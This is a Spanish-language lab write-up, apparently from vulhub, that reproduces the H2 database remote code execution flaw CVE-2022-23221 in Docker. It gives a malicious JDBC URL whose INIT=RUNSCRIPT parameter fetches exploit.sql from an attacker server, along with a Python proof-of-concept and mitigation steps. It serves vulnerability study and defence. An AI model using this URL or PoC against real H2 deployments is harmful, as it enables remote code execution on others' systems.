Volver a actualizaciones
ActualizadaJul 29, 2026

H2-database-CVE-2022-23221 — Actualizado!

vulhub/H2-database/CVE-2022-23221

Compartir

H2 Database RCE (CVE-2022-23221)


1. Resumen

  • Referencia: https://nvd.nist.gov/vuln/detail/cve-2022-23221

  • H2 es un sistema de gestión de bases de datos relacionales que proporciona la capacidad de compilar y ejecutar código Java directamente dentro del motor SQL.

  • El controlador H2 analiza las URLs JDBC para establecer la conexión entre la aplicación y la base de datos. En este proceso, los parámetros de configuración incluidos en la URL permiten controlar el estado inicial o el comportamiento de la base de datos.

  • En las versiones anteriores a H2 2.1.210 existe un problema: a través del parámetro INIT de la URL JDBC se puede ejecutar un script SQL remoto. Un atacante puede explotar esto para inyectar un script SQL manipulado de forma remota y, mediante las sentencias dentro de él, ejecutar comandos del sistema, lo que provoca la vulnerabilidad CVE-2022-23221.

  • Las características de esta vulnerabilidad son las siguientes:

    1. Sin autenticación: cualquier persona con permiso para ingresar una URL JDBC puede explotar esta vulnerabilidad para tomar el control del sistema.
    2. Ejecución automática al iniciar el servicio: si el atacante modifica solo el archivo de configuración, cuando el servicio que usa H2 se inicie, se producirá automáticamente una RCE (ejecución remota de código).
    3. Encubrimiento: es difícil que el desarrollador note el ataque.
    4. Amplio alcance de daño: debido a la rapidez y ligereza de H2, se utiliza para el desarrollo/pruebas de varios servicios web. Cualquier entorno que pueda configurar la URL JDBC a través de un archivo de configuración o recibiendo entrada del usuario puede ser objetivo de ataques que usen esta vulnerabilidad, por lo que su impacto es grande.
  • Alcance de la vulnerabilidad

    • Versiones afectadas: anteriores a H2 2.1.210
    • Versión corregida: H2 2.1.210 o superior

2. Condiciones de la vulnerabilidad

  • Debe ser una versión anterior a H2 2.1.210.
  • La URL JDBC debe contener IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://attacker-ip/acttacker-file.sql'.
    1. IGNORE_UNKNOWN_SETTINGS=TRUE, FORBID_CREATION=FALSE -> Bypass de configuración de seguridad
      • Si estos parámetros están presentes, la configuración de seguridad se desactiva, por lo que el comando de ejecución de script remoto durante la inicialización no se bloquea y se ejecuta sin interrupción.
    2. INIT=RUNSCRIPT FROM 'http:/attacker-ip/acttacker-file.sql' -> Comando SQL que se ejecuta automáticamente al conectar la aplicación con la base de datos
      • Si el valor del parámetro INIT incluye el comando SQL RUNSCRIPT y la dirección del script malicioso, H2 se conectará a ese servidor cuando se establezca la conexión entre la aplicación y la base de datos H2, descargará el archivo y lo ejecutará.
  • El script SQL descargado debe contener la sentencia SQL CREATE ALIAS.
    • La sentencia CREATE ALIAS dentro del script que se ejecutará de forma remota hace que H2 ejecute funciones Java del script dentro de la base de datos, resultando en una RCE.




3. Configuración del entorno

  • Escenario

    • Se configura un entorno H2 vulnerable y se ingresa una URL JDBC maliciosa en H2. H2 analiza esta URL sin la validación adecuada, recibe el archivo sql del servidor atacante y lo ejecuta. Si en los registros del servidor h2-vulnerable aparece la cadena “EXPLOITED” junto con los resultados de la ejecución de los comandos id, whoami, pwd, esto significa que el entorno H2 vulnerable ha sido configurado y que, durante el análisis de la URL JDBC maliciosa, el archivo exploit.sql fue descargado remotamente desde el servidor atacante y ejecutado.
  • Configuración del entorno

    docker compose up -d 
    

    docker ps

    • Al ejecutar el comando, se inician los siguientes entornos.
    • h2-vulnerable: H2 2.0.206 (versión vulnerable anterior al parche)
      • Consola web H2: http://your-ip:8082
      • Servidor TCP: tcp://your-ip:9092
    • attacker: Servidor HTTP
      • http://your-ip:8000 : proporciona el archivo exploit.sql
  • Después de la configuración, al acceder a http://your-ip:8082, aparece la página web de H2.




4. Procedimiento de reproducción

: Dado que en la consola web se aplican políticas de seguridad que pueden filtrar los parámetros que constituyen la condición de vulnerabilidad, se introduce directamente la URL JDBC que contiene los parámetros maliciosos a través de la CLI para reproducir la vulnerabilidad y verificar el resultado.

[Caso de solicitud normal]

  • URL JDBC normal: "jdbc:h2:mem:test"

  • Comando de solicitud normal

    docker exec h2-vulnerable java -cp /h2-bin/h2.jar org.h2.tools.Shell \
    -url "jdbc:h2:mem:test" \
    -user sa \
    -password ""
    
  • Resultado de la ejecución CLI 기반 실행

    • No hay solicitudes al servidor atacante
    • No se muestran registros especiales en el servidor h2-vulnerable

[Caso de explotación de la vulnerabilidad]

  • URL JDBC maliciosa: "jdbc:h2:tcp://h2-vulnerable:9092/mem:test;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://attacker:8000/exploit.sql'"

1. Ejecución del ataque

  • Se introduce la URL JDBC maliciosa en el controlador H2 para intentar la conexión con el servidor atacante. Hay dos formas de ingresar la URL.

    1. Introducir directamente la URL JDBC maliciosa en el shell de H2 a través de la CLI.
    docker exec h2-vulnerable java -cp /h2-bin/h2.jar org.h2.tools.Shell \
      -url "jdbc:h2:tcp://h2-vulnerable:9092/mem:test;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://attacker:8000/exploit.sql'" \
      -user sa \
      -password ""
    

    CLI 기반 실행

    1. Ejecutar el archivo PoC.
    python3 poc.py
    

    poc.py 실행

2. Solicitud y ejecución del archivo

  • H2 solicita el archivo exploit.sql al servidor atacante (HTTP GET) según lo especificado en el parámetro INIT de la URL JDBC: INIT=RUNSCRIPT FROM 'http://attacker:8000/exploit.sql', y lo ejecuta dentro de la base de datos H2.

    1. Ejecutando docker logs attacker se pueden ver los registros de solicitud del archivo exploit.sql provenientes del servidor h2-vulnerable.
    docker logs attacker
    

    1. El servidor atacante devuelve el archivo exploit.sql solicitado, y el servidor h2-vulnerable ejecuta el archivo exploit.sql recibido. En este punto, la sentencia CREATE ALIAS dentro del script induce la ejecución de código Java, lo que provoca la RCE.


5. Código poc.py

#!/usr/bin/env python3

# 목적: CVE-2022-23221 H2 Database RCE 상황을 재현하고자 함.
# 과정: 검증 우회 파라미터와 Java 명령어가 포함된 JDBC URL을 H2로 전송하여 원격 코드 실행 공격을 수행함.

import subprocess
import time
import sys

"""
함수 이름: exploit_h2()
기능: H2 DB에 악의적인 JDBC URL을 전달하여 공격을 수행한다.
반환값: True->공격 성공, False->공격 실패
"""
def exploit_h2():
    
    # H2 서버 준비 대기
    time.sleep(3)
    
    # 검증 우회 파라미터가 포함된 JDBC URL
    # IGNORE_UNKNOWN_SETTINGS=TRUE: H2의 입력 검증을 우회함
    # FORBID_CREATION=FALSE: 원격 DB 생성에 대한 경계를 제거함
    # INIT=RUNSCRIPT FROM: 연결(시작) 시 원격 SQL 스크립트를 실행함
    jdbc_url = "jdbc:h2:tcp://h2-vulnerable:9092/mem:test;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://attacker:8000/exploit.sql'"
    
    try:
        # H2 Shell을 통해서 악의적인 JDBC URL로 연결됨
        cmd = [
            'docker', 'exec', 'h2-vulnerable',
            'java', '-cp', '/h2-bin/h2.jar',
            'org.h2.tools.Shell',
            '-url', jdbc_url,
            '-user', 'sa',
            '-password', ''
        ]
        
        # Docker 명령어 실행 및 결과
        result = subprocess.run(
            cmd,
            capture_output=True,
            text=True,
            timeout=15
        )
        
        return True
        
    except Exception as e:
        print(f"[-] 에러: {e}")
        return False

"""
함수 이름: main()
기능: 공격 실행 및 공격 성공여부를 출력한다. 
반환값: 없음
"""
def main():

    if exploit_h2():
        print("[+] 공격 완료")
    else:
        print("[-] 공격 실패")
        sys.exit(1)

if __name__ == "__main__":
    main()



6. Resultados de la ejecución

  • Como resultado de la ejecución del archivo exploit.sql, en los registros del servidor h2-vulnerable aparece la cadena “EXPLOITED” junto con los resultados de la ejecución de los comandos id, whoami, pwd.

  • Se pueden verificar los registros con docker logs h2-vulnerable.

    docker logs h2-vulnerable`
    

    실행결과 확인

=> Esto significa que el entorno vulnerable de h2 ha sido configurado y que, durante el análisis de la URL JDBC maliciosa, la descarga remota y ejecución del archivo han tenido éxito.


7. Medidas de mitigación

  • Actualizar a H2 versión 2.1.210 o superior
    • Contenido del parche: restricción de la funcionalidad de ejecución de scripts externos del parámetro INIT
    • Fecha de lanzamiento: 2022-05-15
  • Reforzar la validación de entrada de URLs JDBC: bloquear las entradas que contengan parámetros como INIT, RUNSCRIPT que provocan ejecución remota de código, y validar la entrada de URLs JDBC mediante un enfoque basado en lista blanca.
  • Monitoreo de la integridad de la configuración y el entorno: al cambiar archivos de configuración, verificar si han sido manipulados y luego someterlo a la aprobación del administrador.

Categorías